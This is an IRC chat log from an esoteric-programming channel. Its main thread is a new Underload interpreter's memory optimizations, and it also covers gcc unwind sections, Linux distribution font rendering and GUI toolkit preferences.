I'm trying to think of an interesting foundation for the language. While loops etc seem rather dull. Perhaps some sort of combinatory logic would be good. 02:49:48 The basic idea is it should read like a court transcript. 02:49:57 Actually, I'm a little pissed, it's coming back to me 02:49:59 I had an idea 02:50:08 What it is is: it's the lambda calculus 02:50:19 The evidence presented at the trial represents the bound variables 02:50:57 Named functions can be called by someone in the court saying that there's precedence from another trial... 02:51:11 Output is performed by the judge. 02:51:39 No jury? :P 02:52:59 Haha. I'm not sure -- they could be used for conditionals, but I think that would make the syntax weird -- My major problem is that in court transcript, I don't think you get to see the minutes of the juri 02:53:11 *juror's decision making 02:53:32 This is true. 02:53:37 rabideejit: You do get the jury's results, however. 02:53:45 Obviously, the jury should be for input and output. 02:53:46 ;) 02:54:00 pikhq: Yeah, but you only get the results once. 02:54:34 Hrm. I guess this is a kangaroo court, then. 02:54:37 ;) 02:55:23 ...............? 02:55:31 hmmm!! 02:55:54 perhaps kangaroo would be a good name for the language 02:56:17 A kangaroo court is show trial. 02:56:20 Indeed 02:56:28 Or, rather, the court running the show trial. 02:56:35 pikhq: So is this ;) 02:56:59 :) 02:58:10 Anyway, I have to sleep. Your feedback is excellent. I shall return with tidings of the progress. Goodbye! 02:58:32 -!- rabideejit has left (?). 03:58:58 -!- pikhq has quit ("leaving"). 06:39:55 hey kids 06:56:04 Good night all 06:57:30 night 07:15:57 -!- Sgeo_ has quit (Read error: 110 (Connection timed out)). 07:43:20 -!- Slereah has joined. 07:57:07 -!- WangZeDong has quit (Read error: 110 (Connection timed out)). 07:59:59 -!- clog has quit (ended). 08:00:00 -!- clog has joined. 08:44:21 -!- MizardX has joined. 09:02:37 -!- tombom has joined. 09:21:06 -!- oerjan has joined. 09:22:27 -!- M0ny has joined. 09:23:04 plop 09:23:18 *splash* 09:31:51 -!- Dewio has changed nick to Dewi. 10:02:27 -!- oerjan has quit ("leaving"). 10:03:49 -!- Dewi has quit ("off into upgrade land"). 10:47:26 -!- M0ny has quit ("When you get sad stop being sad and be awesome instead."). 10:50:01 -!- FireFly has joined. 10:58:48 -!- BeholdMyGlory has joined. 11:38:22 -!- MigoMipo has joined. 11:51:40 -!- puzzlet_ has quit (Read error: 60 (Operation timed out)). 11:51:47 -!- puzzlet has joined. 12:23:19 -!- puzzlet_ has joined. 12:27:25 -!- FireFly has quit ("Later"). 12:27:40 -!- FireFly has joined. 12:36:09 -!- puzzlet has quit (Read error: 110 (Connection timed out)). 13:02:01 -!- M0ny has joined. 13:09:56 -!- Dewi has joined. 13:37:29 -!- MizardX has quit (Read error: 60 (Operation timed out)). 13:37:34 -!- MizardX has joined. 13:45:38 -!- tombom has quit (Read error: 110 (Connection timed out)). 14:40:40 -!- puzzlet_ has quit (Read error: 104 (Connection reset by peer)). 14:40:45 -!- puzzlet has joined. 14:48:25 -!- oklopol has joined. 14:52:54 -!- ais523 has joined. 14:59:28 -!- oklopol597 has joined. 14:59:34 whoops seems i disconnected. 14:59:51 serves me right i guess 15:00:03 did someone answer? 15:01:21 what's topic about 15:07:58 oklopol597: link to the logs 15:10:43 -!- oklopol has quit (Read error: 110 (Connection timed out)). 15:23:39 -!- oklopol597 has quit (Read error: 110 (Connection timed out)). 15:42:49 hi ais523 15:43:05 hi 15:50:17 -!- MizardX- has joined. 15:50:26 -!- tombom has joined. 15:50:51 -!- MizardX has quit (Read error: 54 (Connection reset by peer)). 15:50:55 -!- MizardX- has changed nick to MizardX. 15:55:28 -!- ehird has left (?). 15:56:57 -!- ehird has joined. 16:00:35 ais523, any idea why gcc generates .eh_frame sections in the ELF binaries when compiling C programs. As far as I understood it, it is used for unwinding in case of exceptions but none of the -fno-exceptions -fno-unwind-tables and so on seems to remove them 16:01:02 err, no, I ignored all the exception-handling stuff when doing gcc-bf 16:01:06 so it almost certainly doesn't work for C++ 16:01:22 ais523, yes but why is it generating them for C!? 16:01:38 hi ais523 16:01:38 are they just debug data, I wonder? 16:01:46 ais523, using -g0 16:01:49 and strip doesn't remove them 16:01:52 hi ehird 16:02:16 i think that Debian's fontconfig has less illegal-in-US subpixel stuff than ubuntu's... 16:02:29 quite possibly 16:02:46 Ubuntu's European, so doesn't care about the illegal-in-US stuff when it's legal everywhere else 16:02:50 OTOH, debian have special non-US repositories 16:02:55 for all mirrors other than the US ones 16:03:02 so I wonder if they have the illegals? 16:05:08 ah I finally made it reduce the the .eh_frame segment to a few bytes. Byt instead it grew the .text segment with 64 bytes? 16:05:50 anyway, I spent this morning writing an Underload interpreter 16:06:04 which is pretty fast, it's only about 20% slower than programs generated from the ehird/me Underload compiler 16:06:16 and I intend to expand it to handle Underlambda some time later 16:06:54 ais523: you know how you use noscript to get rid of annoyances and be more secure? it's adware, and uses obfuscated code to further this end: http://adblockplus.org/blog/attention-noscript-users 16:07:12 ehird: yes, I'm reading the story atm 16:07:14 ais523, this makes no sense: http://pastebin.ca/1410386 16:07:16 heh 16:07:19 but I never visit the noscript homepage 16:07:27 I went and blocked that through about.config ages ago 16:07:37 ais523, difference was adding -fno-asynchronous-unwind-tables as well 16:07:41 ais523: you still have obfuscated code designed to subvert adblock plus running on your FF instance 16:08:14 ehird: yes... 16:09:39 16:08 ski expects `mod n 0 = n' .. :/ 16:09:41 wat 16:09:51 ais523: SO SHOW US THE GOODS 16:09:56 oh, ok 16:10:07 :P 16:10:22 * ais523 pastes 16:11:06 " wget http://keithp.com/~keithp/truetype.tar.gz 16:11:06 (and wait... it's about 3 megs ;)" 16:11:09 Oh 2002. 16:11:27 http://pastebin.ca/1410392 16:12:11 ais523: I like how the compiler is infinitely clearer. 16:12:27 what makes you think that? 16:12:33 ais523: You realize that newlines and comments don't make the interpreter run slower, right? X-P 16:12:39 err ... have you read that interpreter, ais523? 16:12:41 GregorR: yes 16:12:43 ehird: yes 16:12:45 (J/K ;) ) 16:12:45 the compiler is a trivial transformation for 90% of it 16:12:53 the interpreter has bitshift rubbish 16:12:55 the interp's cleverer 16:12:58 and int_least32_bigger_t 16:13:01 and the bitshift's implementing utf-8 16:13:04 and big_least_32_bigger 16:13:12 ais523: err ... why? 16:13:19 Underload is ASCII... 16:13:25 ehird: err, what makes you think that/ 16:13:39 ais523: you didn't disagree when my compiler used ascii... 16:13:49 and because it uses no non-ASCII characters 16:14:29 well, in Underload the meaning of codes above 128 is irrelevant 16:14:52 in Underlambda it isn't, and I'm trying to get the compiler to do both 16:15:23 anyway, anyone complaining about a lack of newlines in that obviously doesn't like Python, it's indented exactly the same way 16:16:06 ais523: or maybe they think different languages deserve different styles 16:16:07 zomg 16:16:14 also, python uses 4-space indents 16:16:20 precisely because it'd be impossible to read with 2-space indents 16:16:24 since everything would munge together 16:16:32 just resize spaces in your editor 16:16:57 ehird: Noscript was already updated to remove that Adblock Plus filter subscription. 16:17:44 !underload (Hello, world!)S 16:17:55 Again with the not compiling. 16:18:01 Again with the not compiling. 16:18:02 !underload (Hello, world!)S 16:18:03 Usage: derl (-o|-a) [inputfile] 16:18:07 Sweet :P 16:18:14 you need to give -o for Underload 16:18:17 or invoke with the name derlo 16:18:48 !underload (Hello, world!)S 16:18:49 Hello, world! 16:18:50 Deewiant: Still doesn't stop it being shady. I wouldn't struct it anyway. 16:19:04 *trust 16:19:06 not struct... 16:19:32 It's GPL. 16:19:40 Just read it through :-P 16:19:56 !underload (a(:^)*S):^ 16:19:56 (a(:^)*S):^ 16:20:22 Deewiant: Next stop: Missing the point 16:20:30 !underload (:aSS):aSS 16:20:30 (:aSS):aSS 16:20:36 !underload (:^):^ 16:20:48 it optimizes tailcalls, so that'll just run until it runs out of time 16:21:00 my compiler optimized tailcalls too :P 16:22:22 -!- FireFly has quit ("Later"). 16:23:32 -!- FireFly has joined. 16:23:34 "Click Here now http://embryogenesiswatches.cn" 16:23:38 lawl, embryogenesis? :P 16:23:39 lolwat 16:25:17 ehird: my interp's a lot more memory efficient than your compiler, though 16:25:32 !underload ((+)S:*:^):^ 16:25:32 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 16:25:34 Deewiant: Next stop: Missing the point <-- I clearly see what ehird meant there 16:25:38 so noscript needs forking 16:25:49 ehird: try that program on your compiler, I bet it won't get nearly that far 16:25:51 because the idea is good. And it used to be good at least. 16:26:08 ais523: er, what? It would run forever. 16:26:11 I optimized tail calls. 16:26:16 ehird: look more carefully at it 16:26:20 it uses exponential memory 16:26:29 Shrug. Then you need exponential memory. 16:26:31 although constant callstack space, it uses exponential data-stack space 16:27:09 ^ul ((+)S:*:^):^ 16:27:09 +++++++++++ ...too much stack! 16:27:15 http://www.oyhus.no/SubLCD.html this is pretty cool 16:27:15 right 16:27:25 that was very quick to give that error in fungot 16:27:26 AnMaster: ' of course they answer to their names? is it particular or universal? perhaps looking-glass milk isn't good to fnord oh, oh, hear!" cried sylvie, in a melancholy voice. ' it's very provoking,' humpty dumpty cried, breaking into a sudden passion. ' you've only a few inches high, and was gone in a moment. 16:27:50 +ul ((+)S:*:^):^ 16:27:52 that is a very good summary of the book fungot 16:27:52 AnMaster: " oh, don't go on like that!' 16:28:00 oh ok, I'll stop then 16:28:05 (with what?= 16:28:09 s/=/)/ 16:28:19 hmm.... thutubot doesn't like exponential programs 16:28:25 it should have hit the too much stack warning already... 16:28:27 +hello 16:28:31 ais523, doesn't it have a limit 16:28:33 iirc 16:28:43 AnMaster: yes, and it should have reached it by now 16:28:50 so you hit a bug? 16:28:51 ++++++++++ ...too much memory used! 16:28:51 Hello, ais523! 16:29:05 nah, the limit's obviously just a bit too high 16:30:12 -!- oerjan has joined. 16:32:30 ais523, any idea why gcc generates .eh_frame sections in the ELF binaries when compiling C programs. [...] <<< obviously it's for framing canadians. 16:32:47 oerjan, what 16:32:56 http://www.oyhus.no/Monitors6.html Holy. Fuck. 16:33:01 your joke made no sense 16:33:11 so you say, eh? 16:33:12 ehird, I have seen more 16:33:31 AnMaster: " I recently threw them away, since they used so much current that they often blew the house fuses and aborted the server. " 16:33:35 usally not CRT though 16:33:43 ehird, ah 16:34:08 it's a horrible xinerama setup 16:34:15 xinerama would work with monitors without any borders :P 16:34:55 ehird, where on the page is it 16:34:58 I can't find it 16:35:06 his homepage 16:35:29 ehird, not the same page on it that you linked though. meh 16:35:52 his homepage 16:35:53 as in / 16:35:56 duh 16:36:46 -!- KingOfKarlsruhe has joined. 16:38:05 there, disabled noscript. Disabled javascript. 16:46:15 -!- MigoMipo_ has joined. 16:46:15 -!- MigoMipo has quit (Nick collision from services.). 16:46:38 -!- MigoMipo_ has changed nick to MigoMipo. 16:46:58 -!- MigoMipo has left (?). 16:50:28 16:08 ski expects `mod n 0 = n' .. :/ 16:50:47 that _is_ the most logical definition if you make it defined 16:51:06 since k + 0*m = n has only one solution k 16:51:35 er, it has no solutions, no? 16:51:46 k = n is the solution. 16:51:48 k = n, m = anything 16:52:13 of course it has no solution fulfilling the expected inequality 0 <= k < n 16:52:24 *0 16:52:24 * ais523 tries to figure out whether nobody being able to read my Underload interp is a good thing 16:52:45 ais523: i haven't tried yet 16:53:11 I spent hours debugging the GC this morning 16:53:35 is it concurrent? 16:53:37 why not? 16:53:37 oh it's not written in a language with GC? 16:53:59 ais523: reference counting should suffice 16:54:13 it is refcounting 16:54:23 eurgh 16:54:24 just I use the refcounting for other purposes too 16:54:26 like optimisations 16:54:29 refcounting is so inefficient 16:54:50 not in terms of memory used 16:55:13 Underload programs that use memory exponentially tend to only use quadratic memory in derl 16:55:30 due to the compression it uses to store thigns 16:59:01 -!- MizardX has quit (Read error: 131 (Connection reset by peer)). 16:59:03 -!- MizardX- has joined. 16:59:06 ais523: sharing subexpressions i assume 16:59:14 oerjan: yes, that's how it's done 16:59:40 -!- MizardX- has changed nick to MizardX. 16:59:44 also, if subexpressions are only used in one place, I modify them when doing ^ or *, rather than creating another data structure to hold the relationship 16:59:56 huh 17:00:09 say you do (a)(b)* 17:00:20 that becomes CAT(a,b) in memory if a is shared with anything 17:00:25 ais523, "uniputc" 17:00:25 what 17:00:31 what 17:00:31 what 17:00:32 what 17:00:33 if it isn't, I just change the end pointer of a to point to the start of b 17:00:34 what 17:00:36 AnMaster: UTF-8 putc 17:00:40 ais523, aha 17:00:41 constitutes about half the things I hear from AnMaster 17:00:51 I use UCS-4 internally 17:01:07 ais523, right. Makes sense. Have you integrated this in EgoBot yet 17:01:17 AnMaster: no, GregorR's integrated it in EgoBot 17:01:21 ah ok 17:01:27 !help 17:01:28 Supported commands: bf_txtgen help info 1l 2l adjust axo bch befunge befunge98 bf bf16 bf32 bf8 dimensifuck glass glypho kipple lambda lazyk linguine malbolge pbrain qbf rail rhotor sadol sceql trigger udage01 underload unlambda whirl 17:01:40 ais523, is it valgrind clean 17:02:00 >_< 17:02:12 AnMaster: yes with debug level set 2 or higher 17:02:19 lower than that, it skips free at program end 17:02:59 ehird: I was valgrinding it a /lot/ to test for bugs 17:03:06 more or less every bug in there showed up on valgrind 17:03:12 still, a rather pointless thing to ask someone who shows a propgram 17:03:12 -!- coppro has quit (Connection reset by peer). 17:03:15 *program 17:03:16 ais523, you indention is mixed space and tabs 17:03:17 eww 17:03:45 anyway, here's an expression it took over an hour to get working: 17:03:54 !underload (((1)S)^):^^ 17:03:54 11 17:04:04 ^ul (((1)S)^):^^ 17:04:05 11 17:04:10 +ul (((1)S)^):^^ 17:04:10 11 17:04:12 mhm 17:04:21 that's a minimal testcase for an obscure optimizer bug 17:04:38 -!- coppro has joined. 17:04:57 ais523, not likely any other interpreter will hit it then 17:05:00 or compiler 17:05:03 I guess 17:05:21 ais523: now I have to make a new interpreter/compiler that's really fast 17:05:24 well, unless they try to optimise the same way 17:05:25 I will do TYPE INFERENCE. 17:05:32 ais523, anyway, your code: tl;drmoi 17:05:33 :::*** will be stored as {num,3} 17:05:44 ehird: I'm planning to do that too, some time 17:05:51 ais523: >:( 17:05:55 both my unfinished Overload interps optimise numbers already 17:05:55 I have patented it 17:05:57 So there 17:06:02 I have prior art, so there 17:06:05 :D 17:06:13 ais523: Like the patent system ever listens to prior art 17:06:14 SO THERE 17:06:56 derl's O((log n)^2) for numbers atm 17:06:57 ehird, also it is the same as I already do in my brainfuck compiler, optimising +++ and such to set constants when they are known (like cell is known to be 0 before, from a [-] or whatever) 17:06:58 which isn't all that bad 17:07:07 so prior art too 17:07:11 that's in memory, it's O(n) in actual processing for the same reason as brainfuck 17:07:13 AnMaster: no 17:07:16 that is not even close to the same 17:07:51 ehird, yes. "Optimising sub-optimal esolang representations for numbers into efficient representations" 17:07:52 :P 17:08:09 yes it covers church numerals too 17:08:58 in fact, it would include constant folding in any esolangs too 17:10:05 ais523, what is "tailcat" 17:10:51 AnMaster: if you want to concatenate two linked lists 17:10:56 yes 17:10:59 then you set the last pointer in the first one to point to the start of the second 17:11:08 it only works if nothing else is using the first one, though 17:11:17 that saves a bit of memory, I was more paranoid about memory usage than speed for some reason 17:11:22 right. 17:11:26 fancy name for it 17:11:40 I mean, I have done that in programming before. And never knew what it was called. 17:12:04 ais523, it saves speed too doesn't it 17:12:15 probably, but I haven't profiled 17:12:21 it avoids the need to malloc 17:12:30 but it requires a while loop to find the end of the list 17:12:31 I mean you only have to traverse the first list, so O(n) (unless you already have a pointer it's end, in which case that is O(1)) 17:12:32 -!- pikhq has joined. 17:12:36 then update a pointer 17:12:42 yep, but the other way's O(n) too 17:12:47 the question is which is faster on a typical list 17:13:10 ais523, wouldn't the other way be copying the linked list, AND finding the end of one of them. 17:13:19 no 17:13:21 Thus being O(n) too indeed (I think) 17:13:23 the other way is to do a lazy cat 17:13:29 ais523, ah 17:13:31 which is what I do when the first list is shared and so can't be modified 17:13:46 I create a cat element in memory, and evaluate it later when the first list has already been consumed 17:13:52 so the first list doesn't need copying 17:13:53 at all 17:13:57 as it's already gone by then 17:14:03 right 17:14:21 ais523, well compared to that, lazy cat should be faster right? 17:14:24 or hm 17:14:28 I'm wondering 17:14:37 where do you store this lazy cat 17:14:38 I suspect lazy cat will be faster on large lists, certainly instantaneously 17:14:41 but it produces more memory 17:14:45 and it's stored on the heap 17:14:55 I'm wondering if lazy-catting everything would make memory usage a higher computational order 17:14:59 ais523, no, I meant, how do you check in the code for a lazy cat situation 17:15:02 which could make speed a higher computational order 17:15:13 AnMaster: it's in the big switch, look for case CAT: 17:15:22 and then I have the zero stack 17:15:31 which is a stack of pointers to use instead if you hit a null pointer 17:15:38 lazy cat's implemented in terms of it 17:16:08 ais523, how do you store it relative the first list 17:16:16 err 17:16:23 " I create a cat element in memory, and evaluate it later when the first list has already been consumed" 17:16:24 Obviously, this lazy cat is stored right next to Einstein's cat with a long tail. 17:16:33 AnMaster: it has a pointer to the first list and the second list 17:16:33 I may have misinterpreted that 17:16:40 ais523, right 17:16:44 once it's evaluated, it returns the first list, and pushes a pointer to the second on the zero stack 17:16:46 that explains it 17:16:58 then when the end of the first list is reached, it hits a NULL, so it pops the second from the zero stack and keeps going 17:17:18 zero stack... 17:17:25 ah right 17:17:26 ais523: hm if you cat n lists together, you only get n-1 cat cells, so as long as you don't use it for empty lists i think you only get a constant multiplier at most 17:17:31 you mean the SOSS-most SOSS 17:17:38 oerjan: I don't use it for empty lists 17:17:38 (kind of not) 17:17:52 but you can end up catting the lazy cats themselves 17:17:55 and you end up in a big lazy glob 17:17:56 so no O() difference 17:17:59 which is why I think it might blow up 17:18:18 hm 17:18:28 say (x):*:*:* becomes x lazy-catted to itself, that lazycat's lazy-catted to itself, and that lazycat's lazy-catted to itself 17:18:36 so you have more lazy cats than actual elements there 17:18:47 OTOH, doing that's much more efficient than actually trying to store the number 17:18:56 ^ul (x):*:*:* 17:18:59 ^ul (x):*:*:*S 17:19:00 ais523: um but you cannot use mutation on self-catting, obviously 17:19:00 xxxxxxxx 17:19:07 +ul (x):*:*:*S 17:19:07 xxxxxxxx 17:19:11 !underload (x):*:*:*S 17:19:12 oerjan: no, I can't 17:19:12 xxxxxxxx 17:19:17 hm 17:19:26 actually, come to think of it, you could; if the second list was modifiable, you could modify that 17:19:43 ais523, can you do that exponentially. I mean cause that interpreter to create an exponential number of such lazy cats 17:19:49 and if the first list was modifiable then, you could force the lazycat at that point and then attach to the forced list 17:19:51 AnMaster: I'm not sure 17:20:06 OTOH, it's certainly better than the naive approach, which would be hyperexponential for the same program 17:20:14 ais523, err 17:20:16 what 17:20:22 can you show that 17:20:34 AnMaster: yes, just by considering what would happen if you forced all the cats immediately 17:20:46 ah 17:20:50 !underload ((+)S:*:^):^ 17:20:51 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 17:21:03 Spiffy. Just spiffy. 17:21:03 I thought you meant a program creating hyperexponential number of lazy cats in it 17:21:05 meh 17:21:14 +ul ((+)S:*:^):^ 17:21:17 ^ul ((+)S:*:^):^ 17:21:17 +++++++++++ ...too much stack! 17:21:22 ais523, still that bug 17:21:24 or what 17:21:26 AnMaster: yes, I haven't modified thutubot 17:21:34 you can tell that by the fact it hasn't left and rejoined 17:21:40 thutu's a compiled language, at least in all known implementations 17:21:58 ais523, it will run out some time soon or what 17:22:01 I don't think it's necessarily a bug, just a limit (in this case, memory use) set slightly too high 17:22:03 since it responded above 17:22:05 it hits the memory limit first 17:22:07 ah 17:22:12 time's measured in commands 17:22:17 and Thutu is O(n) slower than anything else 17:22:18 ais523, any message about it 17:22:21 ++++++++++ ...too much memory used! 17:22:21 +hello 17:22:22 Hello, AnMaster! 17:22:23 ah 17:22:25 right 17:22:32 ais523, I missed that message last time 17:22:35 I was afk 17:23:01 rather. just left 5 seconds before 17:24:33 ais523, tested ick with gcc 4.4 yet 17:24:38 no 17:24:40 cfunge works fine with it btw 17:24:43 I suspect it will work, though 17:24:59 given that gcc will have been trying not to break compatibility, and ick's designed to run on anything as it is 17:25:07 ok 17:25:22 "If you're using IE, do not be alarmed. This page does not really look like crap, it is only your browser." 17:25:24 GCC tries not to break compatibility, but sometimes compatibility is broken. 17:25:33 ais523, it does have parts that are gcc specific 17:25:37 ick I mean 17:25:38 what, ick? 17:25:39 not the webpage 17:25:43 (some projects depend on behavior of the optimising pass.) 17:25:48 ais523, yes. the ec thing 17:25:50 for example 17:25:53 iirc 17:25:55 yes 17:26:00 unless you changed that recently 17:26:03 it depends on ({ }) and a command-line option to gld 17:26:07 For example, ffmpeg won't compile without -O. 17:26:26 17:25 ais523: "If you're using IE, do not be alarmed. This page does not really look like crap, it is only your browser." 17:26:29 i googled for it 17:26:29 pikhq, what 17:26:31 Erm. It'll compile, it won't execute at all. 17:26:31 that's odd 17:26:32 that site IS ugly, though, ironcially 17:26:42 pikhq, how do they debug it then 17:26:50 gcc -O1 -g 17:26:50 you can use -g with -O 17:26:53 printf debugging works 17:26:59 yes right. But it doesn't work well 17:27:01 IME 17:27:10 ehird: the graphical version of muphry's law? :D 17:27:11 ehird: I'm actually surprised that string only gives one result 17:27:16 -O0 works a lot better when you are working in gdb 17:27:17 ais523: in quotes, ofc 17:27:21 yep, ubuntu's subpixel rendering is different and better than Debian's 17:27:21 yes, in quotes 17:27:23 hm. 17:27:25 It is my professional opinion that the ffmpeg developers are freaking mad. 17:27:49 ais523, soon two (from tunes) 17:27:58 ehird: Probably because Ubuntu's a fork of sid. ;p 17:28:05 AnMaster: soon two? 17:28:21 pikhq: no -- because Ubuntu doesn't care about breaking US law, just european law 17:28:26 it may be in a debian non-US repository 17:28:26 ehird, yes. one from that site. One from google crawling the logs for this channel 17:28:29 That too. 17:28:29 AnMaster: oh 17:28:38 AnMaster: you confused me since tunes are making a new site, supposedly 17:28:45 oh 17:28:46 And Ubuntu doesn't even care about breaking European law. 17:28:51 Just South African law. ;) 17:28:53 ehird, with spiffy GUI for the logs 17:28:54 or what 17:28:54 pikhq: err... 17:28:58 Canonical aren't a south african country 17:29:01 pikhq: their main servers are in Europe 17:29:03 AnMaster: the logs are not a part of the tunes project... 17:29:08 ehird: they aren't even a european country 17:29:10 Oh? Guess I'm wrong. 17:29:11 AnMaster: the tunes project is mainly the OS project 17:29:13 although that would be impressive 17:29:23 ehird, you failed to detect the sarcasm... 17:29:43 ais523, where are they a company then 17:29:43 AnMaster: people, as a rule, can't detect sarcasm without any hints that it would be sarcasm -- i.e. it could easily be perfectly serious -- and that is not funny at all 17:29:53 since, y'know, we're not psychic 17:29:56 it isn't supposed to be funny 17:30:00 and you use it all the time 17:30:06 so hypocrite :P 17:30:08 ehird: just psychos 17:30:09 AnMaster: Europe, they just aren't a country 17:30:24 the main server's in the UK, although that doesn't mean the company is of course 17:30:27 ais523: heh, country XD 17:30:30 ais523, oh I mentally corrected the typo 17:30:33 AnMaster: yes, but my sarcasm is detectable 17:30:35 so I never noticed it 17:30:37 ehird, it isn't 17:30:39 just not to you 17:30:39 mine is 17:30:44 AnMaster: i disagree, since others have detected it 17:30:47 just not for you 17:30:53 17:28 AnMaster: ehird, with spiffy GUI for the logs 17:30:54 17:28 AnMaster: or what 17:30:59 @anyone: does this smell even slightly of sarcasm to you? 17:31:01 whatsoever? 17:31:43 it is potentially sarcasti 17:31:45 c 17:31:48 but you can't tell without more context 17:31:49 everything is 17:31:50 and there wasn't any 17:31:54 right 17:32:24 -!- Dewi has quit (Remote closed the connection). 17:32:30 -!- Dewi has joined. 17:34:07 * ehird concludes that Debian, if it has a non-US nice freetype, is his best choice. 17:35:36 ais523, hyperexponential == "like exponential but with the hyper operator" right? I can only find "hyperexponential distribution" which seems to be a slightly different concept 17:35:49 AnMaster: something that blows up faster than exponential 17:36:02 ah 17:36:07 ais523: hyperexponential reaches infinity in finite time, no? 17:36:09 so not specific to the hyper operator then 17:36:19 ehird: I'm not sure 17:36:24 I may have used the wrong term 17:36:26 I'm pretty sure that's true 17:36:34 Maybe "superexponential" 17:36:38 yes 17:36:45 hmm 17:36:45 AnMaster: greek:hyper = latin:super 17:36:52 there should be a way to install some of the ubuntu polish on debian. 17:37:05 I don't know what happens if you enable the ubuntu repos in debian 17:37:12 like the cleaned up system→preferences/administration and the nice wireless/wired connection helper thingies 17:37:12 I wonder if it's as disastrous as doing it the other way round? 17:37:15 oerjan, why are you highlighting *me* about that 17:37:17 ais523: almost certainly 17:37:36 the connection helper thing is NetworkManager + nm-applet-gnome 17:37:41 ehird, non-us. 17:37:42 Debian probably has the packages 17:37:45 but yeah, I'd like some of ubuntu's polis without its bloaty feeling and without the goddamn ubuntu logo :-D 17:37:49 AnMaster: ais523, hyperexponential == "like exponential but with the hyper operator" right? 17:37:54 (don't know if they *still* have that...) 17:37:58 ais523: system→preferences/administration cleanup is a godsend though 17:38:02 that thing's a maze on debian 17:38:05 ah, ok 17:38:06 that sort of implied you didn't know the basic meaning of the prefix 17:38:28 oerjan, well hyper == super == "more wow" ;P 17:38:37 still, I can handle Debian, prolly 17:38:44 esp. since its installation is more flexible 17:38:48 Probably. 17:38:49 so I can do my LVM rubbish for the ssd 17:39:02 ehird, WHAT 17:39:08 WHAT 17:39:17 RUBBISH‽ 17:39:21 HOW DARE YOU 17:39:24 err, AnMaster used an interrobang? 17:39:27 AnMaster: It's slang. 17:39:28 Debian does have the network-manager package, and a network-manager-gnome systray applet. 17:39:31 It doesn't mean "crap". 17:39:33 It means "stuff". 17:39:37 the correct term is "baroque" for lvm 17:39:42 NOT "rubbish" 17:39:42 ais523, yes and 17:39:44 Like "mumble" 17:39:50 AnMaster: I didn't expect it from you 17:39:52 ais523, it isn't like the first time... 17:39:53 Oh, and to piss off AnMaster: 17:39:56 LVM rubbish LVM rubbish LVM rubbish LVM rubbish LVM rubbish LVM rubbish LVM rubbish LVM rubbish LVM rubbish LVM rubbish LVM rubbish LVM rubbish 17:40:05 ehird, sinner :P 17:40:09 AnMaster: I haven't seen you do an interrobang before 17:40:10 fizzie: I wonder if it comes with its desktop-environment packageset 17:40:27 ais523, I haven't seen you around more than at most half of the days 17:40:38 your point 17:40:41 AnMaster: I don't have Internet at home 17:41:03 ais523, I know. It doesn't change the fact that you have rather limited coverage of the channel and don't read all the logs. 17:41:12 (the latter I don't blame you for) 17:41:53 Well, the "gnome" package recommends network-manager-gnome, which would pull in the network-manager itself. But it's just a "recommends", not a "depends" or a "suggests". 17:42:08 I'd like to say something CONTRAVARSIAL: 17:42:11 I like Compizzzzzzzzz 17:42:14 AnMaster: 50% is more than enough for statistical evidence 17:42:54 oerjan, sure. However it doesn't *always* work. As shown in this case. 17:43:06 ;P 17:43:36 fizzie, hm what is the difference between "recommends" and "suggests" in *.deb based systesm 17:43:38 systems* 17:44:14 pikhq: do you know if there's a way to tell Debian to use gksudo instead of gksu? 17:44:19 Since I want to lock the root account. 17:44:49 hm there is ⸘ too 17:44:58 for use in Spanish and such 17:45:51 No; I don't use a desktop environment. 17:46:04 pikhq: What's that got to do with anything? 17:46:09 The "recommends" list is supposed to contain "packages that would be found together with this one in all but unusual installations" while "suggests" should have things that are potentially useful but not in any sense required. So I guess "suggests" is the milder version, in fact. Funny that aptitude orders them depends/recommends/suggests. Well, maybe it's just alphabetical in that sense. 17:46:10 gksudo is just a gtk sudo thing :P 17:46:23 All Gtk-but-you-know,-rooted apps in debian use it by default 17:46:43 only GTK app I use on a regular basis is Gimp I think 17:46:50 possibly there is some other that I forgot about 17:47:05 The only GTK app I use on a regular basis is Xulrunner. 17:47:05 AnMaster: firefox? 17:47:10 ehird, duh right 17:47:20 anyway, gtk's a fine graphical toolkit. 17:47:23 so gimp and firefox 17:47:40 If you don't have to code for it. 17:47:48 pikhq: Oh, no doubting, GObject is a mess. 17:47:48 Debian-installer asks whether you want to use a root account with a password, or whether just to set up sudo. I've no idea about graphical-but-root stuff, though. 17:47:53 Gobject is... Evil. 17:47:54 Nothing a bit of abstraction couldn't fix. 17:48:01 there is no good GUI toolkit if you have to code for it that also looks good 17:48:03 fizzie: Does it? It didn't to me. Do you mean the advanced install? 17:48:08 Tk is good for coding against 17:48:08 but 17:48:10 it looks shit 17:48:20 AnMaster: Yeah... Qt is OK to code for... but OTOH it doesn't really have a nice selection of themes. 17:48:29 But, Qt 4.4 has QGtkStyle, which renders directly via gtk. 17:48:30 ehird: Well, I've always done the expert install-mode thing, yes. It asks a bit more questions that way, I guess. 17:48:32 Which is kick-ass. 17:48:52 So maybe Qt is a nice Gtk abstraction ;-) 17:48:59 ehird, except that doesn't work well when I tested it 17:49:07 Does it not? Darn. 17:49:18 buggy for most GTK themes I tried. 17:49:22 And there's gtk-qt-engine. I wonder what happens if you use both of them? 17:49:34 pikhq: :D 17:49:36 Massive failure I'm thinkin' :P 17:49:36 the default gtk theme worked ok with it 17:49:43 but not most other ones 17:49:50 AnMaster: I thought that Tk had recently started rendering using GTK? 17:49:53 GregorR, indeed 17:49:58 pikhq, how recently 17:50:05 I might not have hit that version yet 17:50:06 pikhq: Rly? 17:50:08 Or was it Qt? 17:50:12 Yes 17:50:13 It was Qt 17:50:15 as a separate theme 17:50:15 :P 17:50:23 Tk has some ways to make it look modern 17:50:23 * pikhq doesn't know; no Tk usage. 17:50:23 Tcl/Tk 8.5. 17:50:27 But not by default, eurgh. 17:50:31 because the one I have here looks somewhat like.... 